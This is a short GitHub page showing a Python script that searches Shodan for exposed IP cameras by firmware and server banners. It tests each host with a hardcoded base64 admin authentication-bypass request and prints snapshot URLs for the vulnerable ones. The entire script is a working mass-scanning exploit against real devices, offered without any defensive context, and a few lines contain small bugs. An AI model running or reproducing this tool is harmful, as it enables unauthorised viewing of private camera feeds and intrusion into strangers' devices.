-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.py
47 lines (39 loc) · 1.47 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#Required libs: requests and shodan.
import requests
import shodan
#'''"Server: App-webs/" "Content-Length: 1862"'''
import os
# Configuration
API_KEY = "YOUR API KEY FROM SHODAN.IO"
dorks=['''3.1.3.150324''','''Server: App-webs/''','''Content-Length: 1862''']
exploitable=[]
list_of_links=[]
exploit_check="/Security/users?auth=YWRtaW46MTEK"
get_snapshot="/onvif-http/snapshot?auth=YWRtaW46MTEK"
api = shodan.Shodan(API_KEY)
for dork in dorks:
result = api.search(dork)
for service in result['matches']:
ipx=service['ip_str']
portx=service['port']
if portx == "80":
full=f"http://{ipx}"
list_of_links.append(full)
elif portx == "443":
full=f"https://{ipx}"
list_of_links.append(full)
else:
full=f"http://{ipx}:{portx}"
list_of_links.append(full)
for link in list_of_links:
try:
x=requests.get(f'{link}{exploit_check}',timeout=3)
if x.status_code == 200:
print(f"[+] Hit! {link}{get_snapshot}")
exploitable.append(f'{link}{get_snapshot}')
except Exception:
print(f"[-] Timed out ({ipx})")
pass
for xddd in exploitable:
print(xddd)
print("Done!")